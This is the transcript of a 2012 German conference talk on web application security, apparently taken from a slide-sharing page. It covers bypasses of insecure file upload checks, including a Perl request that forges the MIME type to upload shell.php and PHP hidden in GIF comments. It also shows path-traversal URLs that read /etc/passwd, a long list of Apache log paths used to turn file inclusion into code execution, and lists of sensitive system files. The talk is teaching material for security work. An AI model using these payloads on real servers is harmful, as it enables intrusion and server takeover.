Why websecurity sucks

Click here to load reader

  • date post

    27-Jun-2015
  • Category

    Technology

  • view

    592
  • download

    0

Embed Size (px)

description

Referent: Alexander Fend Vortrag beim LinuxDay 2012 in Dornbirn. In der heutigen Zeit entscheiden Sicherheitsthematiken mehr denn je über den Ruf von Firmen, Institutionen oder Privatanwender. Sony, Google, Microsoft - alles namhafte Hersteller und dennoch Opfer von einfachsten Angriffen wie SQL Injection, Social Engineering oder Cross Site Scripting. Der Vortrag wird grundlegende Informationen über Websicherheit geben, sowie die Theorie des „sicheren Programmierens“ ansprechen. Eine kurze Demonstration rundet den einstündigen Vortrag dann ab.

Transcript of Why websecurity sucks

  • 1. WHY WEBBASED SECURITY SUCKS Alexander Fend (2012)

2. AGENDA Vorstellung File Uploads Implementation 1 5 Angriffe 1-5 Local File Inclusion LFI 2 RCE Tricky Angriffe Common security errors Best practice & Lsungen 3. VORSTELLUNG Alexander Fend 2008: Matura in Wirtschaftsinformatik HTL - Dornbirn Bis Anfang 2011: IT Administrator AMTC Vorarlberg Bis Dato: IT Administrator & Security Advisor Volksbank AG Liechtenstein Seit ber 7 Jahre im IT Security Umfeld, mit Fokus auf: Rootkits fr Linux und Android Webanwendungen / Schwachstellenanalyse Externer Berater in Sicherheitsfragenalexander.fend@securityinside.org 4. FILE UPLOADS (1) Uploadimplementationen sind weit verbreitet Implementationen sind relativ verschieden Schwachstellen in Uploadfunktionen resultiert meistens in Serverzugriffen / ausfhrbarer Code Effektivitt zur Ausnutzung der Schwachstelle hngt von einigen Parametern ab Relativ viele Optionen und Einstellungen in Konfigurationsdateien sowie im Code selbst Schwachstelle kann die bernahme einer ganzen Applikation/Server bedeuten (Rechteverwaltung) 5. FILE UPLOADS (2) Ablauf Upload:Zugriff auf Datei AnwenderDatei Upload Speicherung auf DateisystemWebanwendung 6. IMPLEMENTATION (1) 1. 7. ANGRIFF (1) Es erfolgt keine Filterung der Dateitypen Es knnen beliebige Dateien hochgeladen werden (html, php, py, js, ) Einziges Hindernis: Pfad der Datei ist nicht ersichtlich In der Regel kein Hindernis, da: Path Disclosure oft mglich Downloadlink eventuell direkt auf die Datei Uploadverzeichnis durch probieren Wenn Applikation verfgbar, lokale Installation undAuswertung der Standardparameter und Pfade mglich 8. IMPLEMENTATION (2) 1. 9. ANGRIFF (2) Wichtig! Eventuelles 0-day! In den wenigsten Fllen wird der Dateienamen gegen XSS gefiltert (i.d.R. durch htmlentities() strip_tags()) Weil, auf Windows: XSS im Dateinamen also nicht mglich. 10. ANGRIFF (2) Aber auf Linux: Grossteil der Webserver laufen auf Linux ! Eventuelle XSS Schwachstellen in smtlichen (grossen / produktiven) Applikationen, welche den Dateinamen nicht filtern Auf Windows eventuell Runtime Exception ? [testen] 11. IMPLEMENTATION (3) $fname = $_FILES[datei][name]; // filename is like = filename.extension $position = strrpos($fname, "."); $result = substr($fname, $position, strlen($fname)-$position); // normal usage here is a blacklist. if (strtolower($result) != ".php") move_uploaded_file($_FILES[datei][tmp_name], "_tmp/".$_FILES[datei][name]); else echo "Diese Dateiendung ist nicht erlaubt"; 12. ANGRIFF (3) Blacklist niemals sicher Viele verschiedene Mglichkeiten py, html, html5, js, php, php5, Achtung! Ein .php Script welches in .jpg umbenannt wird, wird alsDatei akzeptiert Eventuelle Probleme! [dazu spter mehr] 13. IMPLEMENTATION (4) if($_FILES[userfile][type] != "image/gif") { echo "Sorry, we only allow uploading GIF images"; exit; } // other code to upload/save image // 14. ANGRIFF (4) Upload von shell.php Fehler: da MIME Typ nicht image/gif Aber: Angreifer kann eigenen MIME Typ setzen Einfaches Perl Script: $rs = $a->request(POST http://localhost/upload.php, Content_Type => form-data, Content => [userfile => ["shell.php", "shell.php", "Content-Type" => "image/gif"],],); 15. IMPLEMENTATION (5) 1. 16. ANGRIFF (5) Mit einem Bildbearbeitungsprogramm (z.B. Gimp) eine GIF Dateierstellen In den GIF-Kommentar wird PHP Code eingebettet 17. ANGRIFF (5) Perl Script ldt die Datei (avatar.gif) nun als avatar.php auf den Server Dies funktioniert, da die Datei eine valide GIF Datei ist Filterungen auf die Dateieendung wrden hier dem Angreifer einen Strich durch die Rechnung machenuserfile => ["avatar.gif", "avatar.php", "Content-Type" =>"image/gif"],],); 18. ANGRIFF (5) Direktes Aufrufen der Datei, lsst den Interpreter den PHP Code ausfhren 19. IMPLEMENTATION (6) 20. ANGRIFF (6) Wie schon erwhnt, Blacklists sind niemals perfekt Eventuell Ansatz einer Whitelist in Betracht ziehen Dateien mit den Endungen in der Blacklist knnen nicht hochgeladen werden Aber: GIF Bilder mit eingebettetem PHP Code sind immer noch mglich Browser fhrt diesen Code allerdings natrlich nicht aus 21. ANGRIFF (6) Browser zeigt lediglich das Bild an 22. ANGRIFF (6) Aber: Einstellung: Server-Konfiguration welche Dateien zu einem PHP Interpreter gesendet werden Oft werden jpg/gif Bilder durch den Interpreter gejagt, wenn Bilder via PHP zur Laufzeit generiert werden Auch andere Dateitypen betroffen Und: Entwickler haben oft keinen Server-Zugriff Keine Chance zu bestimmen ob sich Einstellungen in Zukunftndern Schlummernde Gefahr! 23. LOCAL FILE INCLUSION Einbinden von Dateien auf dem Server PHP Code in Textdateien Textdateien rutschen oft durch die Dateifilter Direktes ausfhren von PHP Code mglich Resultiert in direktem Serverzugriff 24. IMPLEMENTATION (1) $path wird ungefiltert von der URL bernommen Ohne berprfung eingebunden bergabewert ist frei vernderbar und kontrollierbar 25. ANGRIFF (1) http://vuln-host.at/vul.php?path=../../../../../etc/passwd Wenn LFI, dann wird /etc/passwd includiert (eventuell Anzahl von ../ erhhen) Beliebige Dateien knnen inkludiert werden Restriktionen lediglich: Durch Webserver Konfiguration Berechtigungen der einzelnen Dateien Kenntnis des Pfads 26. IMPLEMENTATION (2) $path wird ungefiltert von der URL bernommen Wird allerdings mit der Endung .php inkludiert bergabewert ist frei vernderbar und kontrollierbar 27. ANGRIFF (2) http://vuln-host.at/vul.php?path=../../../../etc/passwd/%00 Null Byte Angriff Angefgte Endung wird ignoriert Da: %00 = Null Byte Binary: 00000000 Um strings zu terminieren /etc/passwd wird inkludiert 28. LFI 2 RCE (1) Apache error_logaccess_log http://vuln-host.at/User-Agent-Switcher: 29. LFI 2 RCE (2) http://vuln-host.at/vul.php?path=../../../../../../../../var/www/log/ access_log Access logs includieren Eingeschleuster PHP Code wird ausgefhrt Remote Command Execution 30. LFI 2 RCE (3) access_log / error_log ausfindig machen Mit einer Liste:../apache/logs/error.log ../../../../../../../var/log/apache/access.log../apache/logs/access.log../../../../../../../var/log/apache2/access.log../../apache/logs/error.log../../../../../../../var/log/access_log../../apache/logs/access.log ../../../../../../../var/log/access.log../../../apache/logs/error.log ../../../../../../../var/www/logs/error_log../../../apache/logs/access.log../../../../../../../var/www/logs/error.log../../../../../../../etc/httpd/logs/acces_log../../../../../../../usr/local/apache/logs/error_l og../../../../../../../etc/httpd/logs/acces.log../../../../../../../usr/local/apache/logs/error.l og../../../../../../../etc/httpd/logs/error_log../../../../../../../var/log/apache/error_log../../../../../../../etc/httpd/logs/error.log../../../../../../../var/log/apache2/error_log../../../../../../../var/www/logs/access_log ../../../../../../../var/log/apache/error.log../../../../../../../var/www/logs/access.log ../../../../../../../var/log/apache2/error.log../../../../../../../usr/local/apache/logs/access_ log ../../../../../../../var/log/error_log../../../../../../../usr/local/apache/logs/access. log ../../../../../../../var/log/error.log../../../../../../../var/log/apache/access_log../../../../../../../var/log/apache2/access_log 31. LFI 2 RCE (4) access_log / error_log ausfindig machen /proc/self/environ Enthlt Pfad zu den Logdateien phpinfo.php phpinfo() Datei oftmals auf diversen Servern Enthlt ebenfalls Pfad zu den Logdateien /proc/self/fd/0..1..2..3.. File Descriptor Offen auf die Logdateien Try and Catch 32. LFI 2 RCE (WEITERE MGLICHKEITEN) .htaccess Username = Fehler -> landet in den error_logs SSH Zugriff Username = Fehler -> landet in /var/log/auth.log Via LFI inkludieren Mail Mail mit Wird oft in den Logfiles mitgeschnitten Schwierig zu inkludieren, da: Mailprogramm unbekannt Eventuell Berechtigungen fr das Logfile zu restriktiv 33. LFI 2 RCE (WEITERE MGLICHKEITEN) Angriff ber Bilder Beliebt in Foren (Avatare, etc.) Bild bearbeiten EXIF Daten abndern mit Bild hochladen Bild via LFI inkludieren PHP Code wird ausgefhrt 34. LFI 2 RCE (WEITERE MGLICHKEITEN) Gengend Mglichkeiten Selbst berlegen & durchprobieren Andere Services, Logfiles, etc. Interessante Idee: Als DNS Name: Inkludieren von: /var/log/wtmp Leider nicht machbar, da: DNS Name nicht valide Keine , ?, (, ) mglich Eventuell weitere Ideen / Mglichkeiten? 35. LFI 2 RCE (INTERESSANTE DATEIEN) Interessante Dateien fr LFI /proc/cmdline Kommandozeile mit dem der Kernel gestartet wurde /proc/filesystems Untersttze Dateisysteme auf dem Server /proc/partitions Unterteilungen der Festplatte 36. LFI 2 RCE (INTERESSANTE DATEIEN) Interessante Dateien fr LFI /proc/ioports Ein Ausgabe Kommunikationen vom Server /proc/meminfo Informationen bezglich dem Arbeitsspeicher 37. LFI 2 RCE (INTERESSANTE DATEIEN) Interessante Dateien fr LFI /proc/modules Geladene Module im Kernel /proc/version Kernel Version und weitere Informationen 38. LFI 2 RCE (INTERESSANTE DATEIEN) Interessante Dateien fr LFI /proc/version 2.6.32-30-server -> config File falls vorhanden: /boot/config-2.6.32-30-server Konfigurationsparameter fr den kompilierten Kernel /boot/abi-2.6.32-30-server Exportierte Funktionen vom Kernel fr Module /boot/System.map-2.6.32-30-server Symbol Tabelle fr Adressen Z.B. auch fr Rootkits interessant -> sys_call_table 39. TRICKY ANGRIFFE (1) Timing attacks File Upload & LFI Theorie Datei Upload in PHP Temp Datei wird upload_tmp_dir(%tmp%) erstellt Datei wird dann beschrieben & Zielpfad kopiert Zeitfenster fr Inkludieren, falls Pfad bekannt Methode nur auf Windows mglich. Weiteres Problem: Dateiname zufllig Inkludieren mglich ? 40. TRICKY ANGRIFFE (2) Timing attacks File Uploads & LFI Datei trifft einPHP analysiert Dateitmp Datei wird erstelltund mit Daten beschrieben Script wir